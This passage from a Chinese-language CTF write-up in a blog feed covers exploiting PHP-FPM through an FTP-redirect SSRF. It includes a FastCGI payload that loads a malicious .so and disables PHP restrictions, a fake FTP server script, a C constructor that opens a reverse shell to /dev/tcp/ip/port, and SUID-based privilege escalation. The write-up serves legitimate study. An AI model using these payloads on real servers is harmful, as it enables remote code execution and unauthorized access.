  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>运行此文件，此文件输出的payload即我们攻击的关键</p>
<p>payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">?file<span class="o">=</span>ftp://ip:9999/<span class="p">&amp;</span><span class="nv">data</span><span class="o">=</span>%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BBPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evilso.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0ESERVER_SOFTWAREctfking%2FTajang%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h4 id="7运行恶意ftp服务">7、运行恶意FTP服务<a class="anchor" href="#7运行恶意ftp服务">#</a></h4>
<p>在公网VPS上运行以下代码，注意云服务器需要打开防火墙里的端口，并且在有服务使用端口时才会开放端口，其他时候默认关闭</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">socket</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> 
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">bind</span><span class="p">((</span><span class="s1">&#39;0.0.0.0&#39;</span><span class="p">,</span> <span class="mi">9999</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">accept</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;220 welcome</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1">#Service ready for new user.</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1">#Client send anonymous username</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1">#USER anonymous</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;331 Please specify the password.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1">#User name okay, need password.</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1">#Client send anonymous password.</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1">#PASS anonymous</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;230 Login successful.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1">#User logged in, proceed. Logged out if appropriate.</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="c1">#TYPE I</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;200 Switching to Binary mode.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="c1">#Size /</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;550 Could not get the file size.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="c1">#EPSV (1)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;150 ok</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="c1">#PASV</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;227 Entering Extended Passive Mode (127,0,0,1,0,9001)</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span> <span class="c1">#STOR / (2) 注意打到9001端口的服务</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;150 Permission denied.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="c1">#QUIT</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;221 Goodbye.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这个恶意ftp服务就是使用9999端口</p>
<h4 id="8给我打">8、给我打<a class="anchor" href="#8给我打">#</a></h4>
<p><img
  src="/7662b2/one_pointer_php_9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1897" height="784"
/>
</p>
<p>蓝色是我VPS IP打码了，我们看到输出的最后返回了int(681)，这就是dump出的数据包大小，这个时候就已经打通了，还记得编写so拓展时，把<code>ls /</code>输出到look文件吗？访问look文件，下载后，打开里面也会有根目录的文件，但是你再编写一个语句为<code>cat /flag</code>的so，还是没有flag的，因为权限不够</p>
<h4 id="9提权">9、提权<a class="anchor" href="#9提权">#</a></h4>
<p>既然可以执行恶意so文件，那我们写一个反弹shell的so就好</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="cp">#define _GNU_SOURCE
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nf">__attribute__</span> <span class="p">((</span><span class="n">__constructor__</span><span class="p">))</span> <span class="kt">void</span> <span class="nf">preload</span> <span class="p">(</span><span class="kt">void</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="s">&#34;bash -c &#39;bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1&#39;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>跟之前一样的编译，把老的so覆盖吧，这样也不用改payload，vps运行恶意ftp程序，再开一个终端开启监听，再执行一遍刚才的payload<img
  src="/7662b2/one_pointer_php_10.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1818" height="718"
/>
</p>
<p>成功反弹shell，因为没有权限的原因，所以我们仍然无法读取flag，这里我们需要提权，最常见的就是suid提权，使用<code>find / -perm -u=s -type f 2&gt;/dev/null</code>查看具有suid权限的文件，这个要等一会才能出来。</p>
<p><img
  src="/7662b2/one_pointer_php_11.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="665" height="235"
/>
</p>
<p>php就有权限，那么可以直接<code>php -a</code>进入交互模式，直接读取flag文件，注意不要直接读取flag，还是要绕过openbase_dir的，你可以上传一个php文件，直接运行，也可以在交互模式下绕过并读取，建议使用文件，方便点，我这里使用的交互模式</p>
<p><img
  src="/7662b2/one_pointer_php_12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="759" height="515"
/>
</p>
<p>出了，红线上面是输错了，XShell删除都不行，好像是编码原因。</p>
<p>这题质量是真高，复现也学了很多东西，现在把陇原那个看看，把FastCGI 协议和PHP-FPM 攻击方法再搞搞，Pwn也要看了，然后刷题。最近还有安洵杯，暗泉杯，西湖论剑太难了没进线下，这俩不知道后面打得怎么样，加入了一个CTF队伍，船山院士！！！第一次加入正规CTF队伍，希望多学点技术，不拖累队友。</p>
]]></content:encoded><category>中间件</category><category>PHP</category><category>WEB</category></item></channel></rss>